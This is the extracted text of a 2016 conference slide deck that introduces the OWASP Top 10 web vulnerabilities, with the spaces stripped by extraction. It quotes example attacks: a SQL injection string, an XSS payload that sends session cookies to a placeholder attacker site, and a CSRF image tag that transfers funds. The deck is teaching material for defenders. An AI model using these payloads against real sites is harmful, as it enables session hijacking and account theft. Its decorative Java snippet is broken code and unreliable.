View
11
Download
0
Category
Preview:
Citation preview
Top 10 Web Application Vulnerabilities
Why you should care about them…plus a
live hacking demo! !
Why should you care?!
Insecureso*wareisunderminingourfinancial,healthcare,defense,energy,and
othercri8calinfrastructure.
(Source:OWASPTop102013,p.2)
Percentage(bluebar),andcountofbreachesperpaIern.Thegraylinerepresentsthepercentageofbreachesfromthe2015DBIR.(n=2,260).(Source:VerizonDBIR2016)
classSuccessfulBreaches(charsource=“Webapplica8onaIacks”;publicclassSectorsArray{privateString[]sectors={“FinancialServices”,“Informa8on”,“Entertainment”};
}publicclassSectorsArray{privateInt[]percents={82,57,50};
}publicJavaStringArrayTests1(){intsize=Sectors.length;for(inti=0;i<size;i++){System.out.println(source,“accountfor”,percents,“ofconfirmedbreachesinthe”,sectors,“sector”[i]);}}
Web application attacks account for!82%ofconfirmedbreachesintheFinancialServicessector57%ofconfirmedbreachesintheInforma8onsector50%ofconfirmedbreachesintheEntertainmentsector(Source:VerizonDBIR2016)
In2015,therewerealmost20,000incidentsofwebsitesthatwerecompromisedandusedtoeitherhostmalware,par8cipateindistributeddenial-of-service(DDoS)aIacksorrepurposedasaphishingsite.(Source:VerizonDBIR2016)
Open-sourceandthird-partycomponentsintroduceanaverage24vulnerabili8esintoenterprisewebapplica8ons,codeanalysiscompanyVeracodehasfound.(Source:ComputerWeekly,A.Wickford,Oct2014)
Cyberthreatactorscon8nuetoexploitunpatchedso*waretoconductaIacksagainstcri8calinfrastructureorganiza8ons.Asmanyas85percentoftargetedaIacksarepreventable.(Source:US-Cert,TA15-119A)
Atopthisyear's[CWE]*listareSQLinjec8onflaws,whicharethemostseriousduetotheircommonnatureandtheeaseandfrequencyofexploitonline.Othertopvulnerabili8esincludeopera8ngsystemcommandinjec8on,classicbufferoverflow,andcross-sitescrip8ng.(Source:DarkReading,“FedsIden8fyTop25So*wareVulnerabili8es”)*CommonWeaknessEnumera8on
So we all agree !this is a problem, right?!
Good news, ! there is a solution!!
What is OWASP?!
• OpenWebApplica8onSecurityProject• Worldwide,not-for-profit501(c)(3)
www.owasp.org“Ourmissionistomakeso*waresecurity
visible,sothatindividualsandorganiza8onsareabletomakeinformeddecisions.“
OWASP Top 10 Project!
• Alistofthe10mostcri8calwebapplica8onsecurityrisks
• Version1releasedin2003• Currentversionpublishedin2013– Priorversions2010,2007,and2004
hIp://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf
OWASP Top 10 Project!
• OWAPTop10isanawarenessdocument– NOTastandard– Butitiscitedbymanyotherorganiza8ons
– Focusonrisks,notjustvulnerabili8es
OWASP Top 10 for 2013!
A1–Injec8onA2–BrokenAuthen8ca8onandSessionManagementA3–Cross-SiteScrip8ng(XSS)A4–InsecureDirectObjectReferencesA5–SecurityMisconfigura8onA6–Sensi8veDataExposureA7–MissingFunc8onLevelAccessControlA8–Cross-SiteRequestForgery(CSRF)A9–UsingKnownVulnerableComponentsA10–UnvalidatedRedirectsandForwards
I’mnotacomputergeek,whatdoesallthismean?
A1 - Injection!
Injec8onflaws,suchasSQL,OS,andLDAPinjec8onoccurwhenuntrusteddataissenttoaninterpreteraspartofacommandorquery.TheaIacker’shos8ledatacantricktheinterpreterintoexecu.ngunintendedcommandsoraccessingdatawithoutproperauthoriza.on.
Example Attack!
Theapplica8onusesuntrusteddataintheconstruc8onofthefollowingvulnerableSQLcall:
Stringquery="SELECT*FROMaccountsWHEREcustID='"+request.getParameter("id")+"'";
WhatiftheaIackermodifiesthe‘id’parametervalueinhisbrowsertosend:'or1=1’.Forexample:
Stringquery="SELECT*FROMaccountsWHEREcustID='"+request.getParameter(”’or1=1’")+"'";
Thischangesthemeaningofthequerytoreturnalltherecordsfromtheaccountstable.MoredangerousaIackscouldmodifydataoreveninvokestoredprocedures.
Why does it work?!
Because1alwaysequals1!
Specialcharacters,like;=‘arenotremoved(escaped)fromthequery.
A2 – Broken Auth & Session Mgmt!
Applica8onfunc8onsrelatedtoauthen8ca8onandsessionmanagementareo*ennotimplementedcorrectly,allowingaIackerstocompromisepasswords,keys,orsessiontokens,ortoexploitotherimplementa8onflawstoassumeotherusers’iden88es.
Example Attacks!
Scenario#1:Airlinereserva8onsapplica8onsupportsURLrewri8ng,pu}ngsessionIDsintheURL:
hIp://example.com/sale/saleitems;jsessionid=2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
Anauthen8cateduserofthesitewantstolethisfriendsknowaboutthesale.Hee-mailstheabovelinkwithoutknowingheisalsogivingawayhissessionID.Whenhisfriendsusethelinktheywillusehissessionandstoredcreditcardinforma8on.(Freevaca8ontoHawaii)
Example Attacks!
Scenario#2:Applica8on’s8meoutsaren’tsetproperly.Userusesapubliccomputertoaccesssite.Insteadofselec8ng“logout”theusersimplyclosesthebrowsertabandwalksaway.AIackerusesthesamebrowseranhourlater,andthatbrowseriss8llauthen8cated.
A3 – Cross-Site Scripting (XSS)!
XSSflawsoccurwheneveranapplica8ontakesuntrusteddataandsendsittoawebbrowserwithoutpropervalida8onorescaping.XSSallowsaIackerstoexecutescriptsinthevic8m’sbrowserwhichcanhijackusersessions,defacewebsites,orredirecttheusertomalicioussites.
Example Attack!
Theapplica8onusesuntrusteddataintheconstruc8onofthefollowingHTMLsnippetwithoutvalida8onorescaping:
(String)page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>";
TheaIackermodifiesthe‘CC’parameterinhisbrowserto:
'><script>document.loca8on='hIp://www.aIacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
Thiscausesthevic8m’ssessionIDtobesenttotheaIacker’swebsite,allowingtheaIackertohijacktheuser’scurrentsession.
Why does it work?!
Thebrowserwillautoma8callyloadthesitecontainedinthe<script>tags,andthewebsite
allowsittorun!
A8 – Cross-Site Request Forgery (CSRF)!
ACSRFaIackforcesalogged-onvic8m’sbrowsertosendaforgedHTTPrequest,includingthevic8m’ssessioncookieandanyotherautoma8callyincludedauthen8ca8oninforma8on,toavulnerablewebapplica8on.ThisallowstheaIackertoforcethevic8m’sbrowsertogeneraterequeststhevulnerableapplica8onthinksarelegi8materequestsfromthevic8m.
Example Attack!
Theapplica8onallowsausertosubmitastatechangingrequestthatdoesnotincludeanythingsecret.Forexample:
hIp://example.com/app/transferFunds?amount=1500&des8na8onAccount=4673243243
AIackerconstructsarequestthatwilltransfermoneyfromthevic8m’saccounttotheaIacker’saccount,andthenembedsthisaIackinanimagerequestoriframestoredonvarioussitesundertheaIacker’scontrol:
<imgsrc="hIp://example.com/app/transferFunds?amount=1500&des8na8onAccount=a8ackersAcct#“width="0"height="0"/>
Ifthevic8mvisitsanyoftheaIacker’ssiteswhileheisalreadyauthen8catedtoexample.com,theseforgedrequestswillautoma8callyincludetheuser’ssessioninfo,authorizingtheaIacker’srequest.
Why does it work?!
Simpleparametermanipula8on;andthetargetsitedoesn’tvalidateeachrequestwithan
unpredictabletoken.
1 HackingDemo 45
StuartSmith
ISACAGeekWeek
August2016
Live Hacking Demo!
Evolution of the Top 10!
Ranking 2007 2010 2013
1 CrossSiteScrip8ng(XSS) Injec8on Injec8on
2 Injec8onFlaws CrossSiteScrip8ng(XSS) BrokenAuthen8ca8onandSessionManagement
3 MaliciousFileExecu8on BrokenAuthen8ca8onandSessionManagement Cross-SiteScrip8ng(XSS)
4 InsecureDirectObjectReference InsecureDirectObjectReferences InsecureDirectObjectReferences
5 CrossSiteRequestForgery(CSRF) CrossSiteRequestForgery(CSRF) SecurityMisconfigura8on
6 Informa8onLeakageandImproperErrorHandling SecurityMisconfigura8on Sensi8veDataExposure
7 BrokenAuthen8ca8onandSessionManagement InsecureCryptographicStorage MissingFunc8onLevelAccessControl
8 InsecureCryptographicStorage FailuretoRestrictURLAccess Cross-SiteRequestForgery(CSRF)
9 InsecureCommunica8ons InsufficientTransportLayerProtec8on UsingKnownVulnerableComponents
10 FailuretoRestrictURLAccess UnvalidatedRedirectsandForwards UnvalidatedRedirectsandForwards
Action Steps!
1. Webapplica8onvulnerabilityscanners– Commercialtools– Opensourcetools
2. SecureCodingAwarenessfordevelopers– OWASPhasgreatresources
3. Sta8cCodeAnalysistools(See#1above)
Final Thoughts!
• OWASPTop10isnottheend-all• Defenseindepth!
• MobileisagrowingthreatOWASAPTop10Mobile:hIps://www.owasp.org/index.php/Mobile#tab=Top_10_Mobile_Risks
QUESTIONS?!
Recommended